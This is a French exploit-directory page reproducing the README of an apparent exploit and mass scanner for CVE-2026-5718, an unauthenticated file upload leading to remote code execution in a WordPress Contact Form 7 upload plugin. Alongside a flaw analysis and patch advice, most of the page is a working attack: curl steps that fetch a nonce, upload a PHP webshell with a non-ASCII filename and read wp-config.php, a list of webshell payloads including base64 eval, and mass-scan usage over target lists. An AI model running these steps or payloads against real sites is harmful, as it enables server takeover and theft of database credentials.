Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5718 — CVE-2026-5718 : Téléversement de fichier non authentifié menant à une exécution de code à distance (RCE) dans le plugin DnD Upload CF7 | Kitploit
Outils/GitHubGitHub/xxconi/cve-2026-5718
Génération de PayloadsAnalyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718 : Téléversement de fichier non authentifié menant à une exécution de code à distance (RCE) dans le plugin DnD Upload CF7

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5718

CVE-2026-5718 : Téléversement de fichier non authentifié menant à une RCE dans le plugin DnD Upload CF7

CVE-2026-5718 — Scanner RCE de téléversement de fichiers DnD CF7

Plugin : Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug : drag-and-drop-multiple-file-upload-contact-form-7 CVE ID : CVE-2026-5718 Score CVSS : 8.1 (High) Vecteur CVSS : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Type de vulnérabilité : Téléversement de fichier arbitraire non authentifié → Exécution de code à distance Versions affectées : <= 1.3.9.6 Version corrigée : 1.3.9.7 Date de publication : 17 avril 2026 Chercheur : Leonid Semenenko (lsemenenko) — Wordfence


📌 À propos de la vulnérabilité

Dans le plugin Drag and Drop Multiple File Upload for Contact Form 7, deux erreurs logiques indépendantes se combinent pour permettre à des attaquants non authentifiés de téléverser un webshell PHP.

  1. Destruction de la blacklist : La configuration personnalisée de la blacklist la liste par défaut des extensions dangereuses n'est plus bloqué.

remplace entièrement
au lieu de la fusionner.
php
  • Contournement non-ASCII : La présence d'un caractère non-ASCII dans le nom de fichier empêche l'appel de la fonction wpcf7_antiscript_file_name(). L'extension .php est conservée et le fichier est écrit sur le disque.


  • 🔍 Résumé de la vulnérabilité

    ChampValeur
    Nom du pluginDrag and Drop Multiple File Upload for CF7
    CVE IDCVE-2026-5718
    Score CVSS8.1 (High)
    Type de vulnérabilitéTéléversement de fichier arbitraire non authentifié
    Version affectée<= 1.3.9.6
    Version corrigée1.3.9.7
    PrérequisConfiguration personnalisée blacklist-types dans le formulaire CF7

    ⚙️ Analyse technique

    Vulnérabilité 1 — Nonce public (ligne 62)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 62–71
    function dnd_wpcf7_nonce_check() {
        // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
        if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
            wp_send_json_error('Request blocked: cURL access is forbidden.');
        }
    
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    

    L'action wp_ajax_nopriv__wpcf7_check_nonce est accessible à tous. Lorsqu'un nonce invalide est envoyé, un nouveau nonce est fourni gratuitement. La vérification de curl est contournée en envoyant un User-Agent Mozilla.


    Vulnérabilité 2 — La blacklist est remplacée au lieu d'être fusionnée (ligne 883)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 883–886
    $blacklist_types = dnd_cf7_not_allowed_ext();
    // ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
    
    if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
        $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
        // ↑ ASSIGNMENT (=) — MERGE DEĞİL
        // Özel liste: sadece ['zip']
        // 'php' artık listede YOK → kabul edilir
    }
    

    Configuration de la balise de formulaire déclenchante :

    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

    L'administrateur veut bloquer ZIP → le plugin supprime toute la denylist par défaut. Toutes les extensions dangereuses, y compris php, sont désormais acceptées.

    De plus, la liste codée en dur pour filetypes="*" est également incomplète :

    root@kitploit:~
    // line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
    $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
    

    Vulnérabilité 3 — Contournement non-ASCII (ligne 970)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 969–972
    $ascii_name = dnd_cf7_remove_icons( $filename );
    
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        // Sadece pure-ASCII dosya adları için çağrılır
        $filename = wpcf7_antiscript_file_name( $ascii_name );
        // ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
    }
    // Non-ASCII karakter varsa bu blok ATLANIR
    // $filename = "shellシ.php" → .php uzantısı korunur
    
    root@kitploit:~
    // dnd_cf7_check_ascii() — lines 1029–1041
    function dnd_cf7_check_ascii( $string ) {
        $string = sanitize_file_name( $string );
        // ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
        if ( mb_check_encoding( $string, 'ASCII' ) ) {
            return true;
        }
        return false;  // Non-ASCII karakter → false → antiscript atlanır
    }
    

    🔴 Chaîne d'attaque complète

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
    │  User-Agent: Mozilla/5.0  (curl değil)                     │
    │       │                                                     │
    │       ▼                                                     │
    │  {"success":true,"data":"abc123def456"}                     │
    │  → Nonce ücretsiz alındı                                    │
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
    │  security=abc123def456                                      │
    │  upload-file=shellシ.php (Content-Type: application/x-php) │
    │       │                                                     │
    │       ├── Nonce geçerli ✓                                   │
    │       ├── blacklist=['zip'] → 'php' engellenmez ✓          │
    │       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
    │       ├── wpcf7_antiscript_file_name() ATLANIR ✓           │
    │       └── move_uploaded_file("shellシ.php") → Diske yazıldı│
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
    │      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
    │       │                                                     │
    │       ▼                                                     │
    │  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
    │  → Unauthenticated RCE ✓                                    │
    └─────────────────────────────────────────────────────────────┘
    

    🧪 Preuve de concept (Manuelle)

    ⚠️ Avertissement : Cette PoC est fournie uniquement à des fins éducatives et de recherche en sécurité défensive. Ne l'utilisez que sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

    Prérequis :

    • Plugin installé et actif (version <= 1.3.9.6)
    • Le formulaire CF7 doit contenir un champ [mfile] avec blacklist-types :
      root@kitploit:~
      [mfile upload-file filetypes="*" blacklist-types:zip]
      

    Étape 1 — Obtenir le nonce

    root@kitploit:~
    TARGET="https://target.example.com"
    
    NONCE=$(curl -s -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      --data "action=_wpcf7_check_nonce" \
      | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
    
    echo "Nonce: $NONCE"
    

    Réponse attendue :

    root@kitploit:~
    {"success": true, "data": "abc123def456"}
    

    Étape 2 — Créer un webshell avec un nom de fichier non-ASCII

    root@kitploit:~
    # 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
    SHELL_FILENAME="shellシ.php"
    echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
    

    Étape 3 — Téléverser le shell

    root@kitploit:~
    FORM_ID=1
    FIELD_NAME="upload-file"
    SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
    
    curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      -F "action=dnd_codedropz_upload" \
      -F "security=${NONCE}" \
      -F "form_id=${FORM_ID}" \
      -F "upload_name=${FIELD_NAME}" \
      -F "upload_folder=${SESSION_FOLDER}" \
      -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
    

    Réponse attendue :

    root@kitploit:~
    {
      "success": true,
      "data": {
        "path": "<session-folder-uuid>",
        "file": "shellシ.php"
      }
    }
    

    Étape 4 — Construire l'URL du shell

    root@kitploit:~
    UPLOAD_PATH="<path-from-response>"
    SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
    echo "Shell URL: $SHELL_URL"
    

    Étape 5 — Déclencher la RCE

    root@kitploit:~
    # id komutu
    curl -s "${SHELL_URL}?cmd=id"
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    # wp-config.php oku
    curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
    

    🛠️ Scanner automatique

    Installation

    root@kitploit:~
    git clone https://github.com/kullanici/cve-2026-5718-scanner
    cd cve-2026-5718-scanner
    pip install -r requirements.txt
    

    requirements.txt

    root@kitploit:~
    requests
    

    🚀 Utilisation

    Cible unique — Entièrement automatique

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com
    

    Form ID et nom de champ manuels

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --form-id 1 --field-name upload-file
    

    Shell complet + commande personnalisée

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --shell-type full --verify-cmd "whoami"
    

    Scan en masse

    root@kitploit:~
    python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
    

    Avec un proxy (Burp Suite)

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --proxy http://127.0.0.1:8080
    

    ⚙️ Paramètres

    ParamètreCourtDescriptionDéfaut
    --url-uURL de la cible unique—
    --list-lFichier de liste de cibles—
    --threads-tNombre de threads10
    --output-oFichier de sortierce_results.txt
    --form-id—ID du formulaire CF7détection automatique
    --field-name—Nom du champ mfileupload-file
    --shell-name—Nom du fichier shellshell
    --shell-type—Type de shellsystem
    --verify-cmd—Commande de vérification de la RCEid
    --proxy—URL du proxy—
    --timeout—Délai d'expiration des requêtes (s)10
    --force—Continuer même si la détection du plugin échoueFalse

    💀 Types de shell

    TypePayloadDescription
    system<?php system($_GET["cmd"]); ?>Commande système de base
    passthru<?php passthru($_GET["cmd"]); ?>Sortie brute
    exec<?php echo exec($_GET["cmd"]); ?>Exécution silencieuse
    assert<?php assert($_POST["cmd"]); ?>Évaluation via POST
    b64<?php eval(base64_decode($_POST["cmd"])); ?>Obfuscation Base64
    fullshell_exec + system + exec fallbackComplet

    🔤 Jeu de caractères non-ASCII

    Le scanner essaie les caractères suivants dans l'ordre :

    CaractèreUnicodeDescription
    シU+30B7Katakana Si (utilisé dans la PoC)
    жU+0436Cyrillique
    ñU+00F1Latin étendu
    中U+4E2DCJK
    αU+03B1Grec
    ßU+00DFAllemand

    📂 Emplacement de téléversement du shell

    root@kitploit:~
    WordPress Kök/
    └── wp-content/
        └── uploads/
            └── wp_dndcf7_uploads/
                └── wpcf7-files/
                    └── <session-uuid>/
                        └── shellシ.php   ← Shell burada
    

    ⚠️ Remarque : Par défaut, le plugin supprime les fichiers après 1 heure. Le shell reste accessible pendant cette période.


    📊 États de sortie du scanner

    ÉtatDescription
    ★ RCE OKShell téléversé + commande exécutée
    ★ SHELL ALIVEShell accessible, réponse différente
    ~ EXEC_DISABLEDShell présent, exec() désactivé
    ~ HTACCESSShell téléversé mais bloqué par .htaccess
    ? UPLOADEDTéléversé mais URL introuvable
    - UPL_FAILÉchec du téléversement (corrigé / configuration absente)
    ~ NO_NONCENonce impossible à obtenir
    - NO_PLUGINPlugin non installé
    ~ UNREACHCible inaccessible

    🖥️ Exemple de sortie du scanner

    root@kitploit:~
    [*] Hedef       : http://hedef.com
    [*] Form ID     : otomatik tespit
    [*] Shell Tipi  : system
    [*] Verify CMD  : id
    
    [→] http://hedef.com  Adım 1/5: Nonce alınıyor...
    [→] http://hedef.com  Adım 2/5: CF7 form tespiti...
    [→] http://hedef.com  Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
    [→] http://hedef.com  Adım 4/5: Shell URL oluşturuluyor...
    [→] http://hedef.com  Adım 5/5: RCE doğrulanıyor...
    
    ═════════════════════════════════════════════════════════════════
    [★ RCE OK    ] http://hedef.com
      Sürüm       : 1.3.9.6
      Nonce       : abc123def4  (kaynak: ajax_endpoint)
      Non-ASCII   : シ
      Shell URL   : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                    wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
      RCE Çıktı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ═════════════════════════════════════════════════════════════════
    
    [+] Kaydedildi → rce_results.txt
    

    🛡️ Défense / Correctif

    MesureImplémentation
    Mise à jour du pluginMettre à niveau vers la version 1.3.9.7+
    Fusion de la blacklistUtiliser array_merge() au lieu de =
    Antiscript inconditionnelwpcf7_antiscript_file_name() doit toujours être appelé
    Protection du nonceL'endpoint du nonce doit être inaccessible au public
    .htaccessBloquer l'exécution de PHP dans le répertoire de téléversement

    Fusion sécurisée de la blacklist :

    root@kitploit:~
    // Güvensiz (mevcut — 1.3.9.6)
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    
    // Güvenli (önerilen — 1.3.9.7+)
    $blacklist_types = array_merge(
        dnd_cf7_not_allowed_ext(),
        explode( '|', $blacklist["$cf7_upload_name"] )
    );
    

    Antiscript inconditionnel :

    root@kitploit:~
    // Güvensiz (mevcut)
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        $filename = wpcf7_antiscript_file_name( $ascii_name );
    }
    
    // Güvenli (önerilen)
    $filename = wpcf7_antiscript_file_name( $filename );  // her zaman çağır
    

    .htaccess du répertoire de téléversement :

    root@kitploit:~
    <FilesMatch "\.php\d?$">
        Deny from all
    </FilesMatch>
    Options -ExecCGI
    AddType text/plain .php .php5 .phtml .phar
    

    📁 Structure des fichiers

    root@kitploit:~
    cve-2026-5718-scanner/
    ├── dnd_cf7_upload.py   # Ana tarayıcı
    ├── requirements.txt    # Bağımlılıklar
    └── README.md           # Bu dosya
    

    ⚠️ Avertissement légal

    Cet outil et cette PoC ont été conçus pour être utilisés uniquement sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion. Toute utilisation sur des systèmes non autorisés constitue une infraction au titre des articles 243 à 245 du code pénal turc et des lois internationales sur la cybercriminalité. Le développeur décline toute responsabilité légale découlant d'une mauvaise utilisation de l'outil.


    📄 Licence

    Licence MIT — Réservée à des fins éducatives et de recherche.


    🔗 Références

    • Wordfence Advisory
    • Plugin WordPress Directory
    • CVSS 3.1 Calculator
    • CWE-434: Unrestricted Upload of File with Dangerous Type
    • Unicode Non-ASCII Characters
    Télécharger l’outil